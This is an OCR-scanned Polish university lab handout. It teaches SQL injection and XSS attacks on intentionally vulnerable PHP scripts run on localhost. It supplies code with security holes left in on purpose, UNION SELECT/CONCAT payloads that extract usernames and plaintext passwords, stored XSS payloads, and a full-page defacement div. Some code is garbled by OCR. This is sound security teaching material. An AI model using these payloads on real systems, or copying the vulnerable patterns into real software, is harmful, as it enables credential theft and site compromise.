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8 orilonum Ataki na skrypty PHP cz. 3

W sprawozdaniu zamieS¢ zrzuty ekranu z istotnych etapéw oraz odpowiedzi na pytania.

Taki symbol oznacza, ze trzeba w sprawozdaniu dodac zrzut ekranu (najczesciej 1) z wyniku
dziatania polecenie.

@ Taki symbol oznacza, ze nalezy dodac opis (najczesciej 1 zdanie) z wyniku dziatania polecenia.

Niniejsze laboratorium stanowi kontynuacje instrukcji z poprzednich zajec, poSwieconych zagadnieniom
atakéw na skrypty PHP.

I. SQL Injection - Union Select i Concat()

W kolejnym przyktadzie wykorzystana zostata strona, ktéra wyswietla uzytkownikéw z bazy danych
pasujacych do podanego wzorca.

1. Utwbrz plik skrypt3. php i wypetnij go ponizszym kodem:

<?php

$hostname = 'localhost’;
$user = 'root’;
$password = '';
$database = 'testowa’;

$handle = mysqli_ connect($hostname, $user, $password, $database) or die("Brak
potaczenia");

if (is_array($_GET)) {
foreach ($_GET as $pos => $val) {
$$pos = stripslashes(str_replace('\0', urldecode('%00'), $val));
}
}

// Zapytanie wykorzystujgce operator LIKE i LIMIT
$query = "SELECT login FROM users WHERE login LIKE '$login%' LIMIT 2";

echo "Zapytanie SQL: <b>" . $query . "</b><br>";

$result = mysqli_query($handle, $query);
while ($txt = mysqli_fetch_array($result)) {
echo '<br>Znaleziony wynik: ' . $txt['login'];
}
mysqli_close($handle);

?>



2. Wywotaj skrypt w przegladarce.

B B localhost/ataki/skrypt3.

(3 C m@ J O localhost

OffSec Kali Linux # Kali Tools « Kali Docs M Kali Forums e\ Kali NetHunter Exploif]
Zapytanie SQL: SELECT login FROM users WHERE login LIKE '%' LIMIT 2

Znaleziony wynik: admin
Znaleziony wynik: Wojtek

Wynikiem dziatania powyzszego skryptu sa dwa loginy. Jak widaé, w klauzuli LIKE uzyto wieloznacznika
%, ktory wyszukuje wszystkie loginy pasujace do okreslonego wzorca - w tym przypadku dowolnego ciggu
znakéw - a nastepnie ogranicza liczbe wynikéw do dwdch za pomoca klauzuli LIMIT 2.

3. Sprébuj wyszukac loginy rozpoczynajace sie literg K.

3 B localhost/atakifskrypt3.

< C @ O O localhost

OffSec KaliLinux # KaliTools = KaliDocs & Kali Forums e\ Kali NetHunter Exploit-D
Zapytanie SQL: SELECT login FROM users WHERE login LIKE 'K%' LIMIT 2

Znaleziony wynik: Katarzyna

Atakujac ten skrypt, naszym celem jest wyswietlenie wszystkich loginéw oraz haset uzytkownikéw
znajdujacych sie w bazie danych. W tym celu ponownie wykorzystamy metode UNION SELECT i
zmodyfikujemy zapytanie do postaci:

4. W przegladarce wpisz: http://localhost/ataki/skrypt3.php?login=K' and 1=2 union
select pass from users --%20

3 B localhost/ataki/skrypt3.p' X +

<« C @ O O localhost
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Zapytanie SQL: SELECT login FROM users WHERE login LIKE 'K' and 1=2 union select pass from users -- %' LIMIT 2
Znaleziony wynik: adminl

Znaleziony wynik: wojtek123
Znaleziony wynik: zaql@WSX

Jak widaé, uzyskano hasta wszystkich uzytkownikéw z bazy danych, jednak w wynikach brakuje loginéw.
Mozna oczywiscie zamieni¢ w zapytaniu hasta na loginy, lecz takie rozwigzanie bytoby mato wygodne.

Aby jednoczesnie wyswietli¢ loginy i odpowiadajace im hasta, nalezy skorzystac z funkcji CONCAT().
Funkcja ta taczy zawartos¢ wskazanych kolumn w jedng kolumne wynikowa.

Dodatkowo uzyjemy funkcji CHAR(), ktéra pozwala wyswietli¢ znak na podstawie jego kodu ASCIIL.
Zmodyfikuj zapytanie do postaci:

m 5. Wpisz: http://localhost/ataki/skrypt3.php?login=m’ and 1=2 union select

=]

=

concat(login,char(45),pass) from users --%20

B localhost/ataki/skrypt3.p' X +

C @ O DO localhost,
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Zapytanie SQL: SELECT login FROM users WHERE login LIKE 'm' and 1=2 union select concat(login,char(45),pass) from users -- %' LIMIT 2

Znaleziony wynik: admin-adminl
Znaleziony wynik: Wojtek-wojtek123
Znaleziony wynik: Katarzyna-zaql @WSX



W efekcie zostang wyswietlone loginy oraz odpowiadajgce im hasta uzytkownikéw, rozdzielone znakiem
my$lnika - (kod ASCII: 45).

II. SQL Injection - po co obchodzic zabezpieczenie, skoro mozna poznac
hasto

W poprzednich przyktadach (na podstawie skryptl.php) skupialiSmy sie na samym uzyskaniu dostepu
do panelu poprzez zakomentowanie reszty zapytania. Jednak prawdziwym zagrozeniem jest
wykorzystanie luki do odczytania poufnych danych bezposrednio z bazy.

Czysta postac skryptu przy braku danych zwraca fatsz, poniewaz w bazie nie istnieje uzytkownik z pustym
loginem i hastem. Jednak stosujac metode UNION SELECT, mozemy zmusi¢ baze, aby zamiast sprawdzac
nasze poSwiadczenia, zwrdcita nam konkretng informacje — na przyktad hasto administratora.

1. Przywréc skryptl.php do pierwotnej wersji.

&« C @
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Warning: Undefined array key "login" in fopt/lampp/htdocs/ataki/skrypt1.php on line 27

Warning: Undefined array key "pass” in /opt/lampp/htdocs/ataki/skrypt1.php on line 27
Zapytanie SQL: SELECT id FROM users WHERE login = "' AND pass = "

Error (Bledne logowanie)

mz. Wpisz: http://localhost/ataki/skryptl.php?pass=" union select pass from users
where login="Wojtek' --%20

C @ O [ localhost
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Warning: Undefined array key "login" in /fopt/lampp/htdocs/ataki/skryptl.php on line 27
Zapytanie SQL: SELECT id FROM users WHERE login = "' AND pass = " union select pass from users where login="Wojtek' -- *

Zalogowany! ID: wojtek123

Przyktad ten pokazuje, ze prosty btad pozwalajgcy na ominiecie panelu logowania to tylko wierzchotek
gory lodowej. Atakujacy moze poznac zawartoS¢ dowolnej komérki w bazie danych (loginy, hasta, maile).

W tym przypadku ponownie skuteczng metoda obrony przed takimi manipulacjami w zmiennych
tekstowych jest stosowanie poznanej juz wczesniej funkcjimysqli_real_escape_string().

m 3. Odczytaj w ten sposdb hasto uzytkownika admin lub Katarzyna.

III. XSS - Cross-Site Scripting

XSS to jeden z najpowszechniejszych btedéw w aplikacjach webowych. Polega on na braku filtrowania
znacznikéw HTML oraz skryptéw JavaScript w danych przesytanych przez uzytkownika. Luka ta umozliwia
atakujgcemu modyfikacje Zrédta strony, co otwiera droge do kradziezy ciasteczek (cookies),
przekierowa# na ztosliwe witryny czy przejmowania sesji uzytkownikéw.



Ataki XSS najczesciej spotyka sie w miejscach, gdzie uzytkownik moze zostawi trwaty slad tekstowy,
takich jak ksiegi gosci, systemy komentarzy czy fora.

Czesto bagatelizuje sie zagrozenie ptynace z XSS, uwazajac je za mato szkodliwe. Aby zrozumieé skale
problemu, przeanalizujemy prosty skrypt ksiegi gosci (skrypt4.php), ktéry zapisuje wpisy w pliku
tekstowym ksiega.txt.

1. Nadaj odpowienie uprawnienia w katalogu ataki:

sudo chmod 777 .

2. Utwbrz plik skrypt4. php i wypetnij go ponizszym kodem:

<?php
echo '

<form action="" method="post">

<table border="2">

<tr><td>NICK:</td><td><input type="text" name="tytul" size="40" /></td></tr>
<tr><td>Wpis:</td><td>

<textarea name="wpis" cols="60" rows="10" wrap="virtual"></textarea>
</td></tr>

</table>

<input type="submit" value="Wpisz sie!" />

</form>

LIS
J

$tytul
$wpis

$_POST[ "tytul'];
$ POST['wpis'];

if ($tytul && $wpis)

{
$ksiega[@] = "<h3>".$tytul."</h3><p>".%wpis."</p><hr>";

if (file_exists("ksiega.txt"))

{
$i = 1;
$plik = fopen("ksiega.txt", "r+");
flock($plik, 2);
while (!(feof($plik)))
$ksiega[$i++] = fgets($plik, 2048);
$ilosc = $i;
fseek($plik, 0);
for ($i = 0; $i < $ilosc; $i++)
fputs($plik, "$ksiega[$i]");
flock($plik, 3);
fclose($plik);
}
else
{

$plik = fopen("ksiega.txt", "w+");
flock($plik, 2);

fputs($plik, "$ksiega[0]");
flock($plik, 3);

fclose($plik);



}

echo '<h2>Ksiega gosci</h2><hr />';

if (file_exists("ksiega.txt"))

{
$plik = fopen("ksiega.txt", "r");
while (!(feof($plik)))
echo (fgets($plik, 2048));
}
?>

m 3. Uruchom skrypt i dodaj przyktadowe wpisy:

5 B localhost/atakifskryptd.p ¥ +

« C o O DO localhost
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NICK: | |

Whpis:

‘_Wpisz sie!_‘

Ksiega gosci

112233
MC WIAZwWSK

ﬁ 4. SprawdZmy to, uzywajac prostych znacznikéw HTML w tresci wpisu:

<u><b>Atak XSS</b></u>

« C @

OffSec Kali Linux & Kali Kali Forums  ex Kalij

NICK: | Test
<u=<b=Atak X55</b=</u=

Whpis:

| Wpisz sie! |

Ksiega gosci

Test

Atak XSS




Jezeli wpis zostanie poprawnie wySwietlony, oznacza to, ze formularz nie filtruje danych wejsciowych. W
takiej sytuacji mozliwe jest wstawienie dowolnych znacznikéw HTML, a nawet kodu JavaScript.

5. Sprébujmy wiec wprowadzic prosty skrypt JS:

<script>alert('Atak XSS');</script>

@ localhost

W efekcie, przy kazdym odSwiezeniu strony, kazdy uzytkownik zobaczy komunikat alertu — sprawdz.

W prawdziwym ataku zamiast prostego alertu, skrypt mégtby po cichu wystal ciasteczka sesyjne
uzytkownika na serwer atakujacego.

Webmasterzy czesto prébujg chroni¢ sie za pomocg funkcji strip_tags(), ktéra usuwa tagi HTML.
Czasami jednak dopuszczajg niektdre znaczniki, uznajac je za bezpieczne (np. <p> dla akapitow).
Atak przez zdarzenia (Event Handlers): Nawet "bezpieczny" tag <p> moze zosta¢ wykorzystany do

ataku, jesli przyjmuje parametry zdarzef JavaScript, takie jak onmouseover.

m 6. Wpisz w formularzu: <p onmouseover="alert('Atak XSS')">NAJEDZ TUTAJ</p>

@ localhost

Najechanie na linie utworzonego akapitu spowoduje wyzwolenie alertu JS

IV. XSS - Catkowita modyfikacja strony (DIV absolutny)

Jednym z najbardziej widowiskowych efektow ataku XSS jest catkowite zastoniecie oryginalnej tresci
strony i wySwietlenie wtasnego komunikatu, np. stynnego "Hacked By...". Wykorzystuje sie do tego
znacznik <div> z odpowiednio skonstruowanymi stylami CSS.



Atak polega na wstrzyknieciu kodu HTML, ktéry tworzy nowg warstwe na samym wierzchu strony. Dzieki
pozycjonowaniu absolutnemu (position:absolute) i bardzo wysokiemu indeksowi z-axis (z-index:101),
wstrzykniety element przykrywa wszystkie inne elementy witryny.

m 1. Kod ataku do wklejenia w formularz ksiegi gosci (zamiefi Anonim na swéj numer indeksu):
<div style="text-align:center; color:#FF0000; background:#000000;
position:absolute; top:0; left:0; right:0; bottom:9; padding:0; margin:o;
height:100000px; z-index:101; padding-top:50px; font-size:50px; font-
family:Verdana;">

Hacked by Anonim

</div>

<« - C @ QO D localhost/ataki/skrypt4.php
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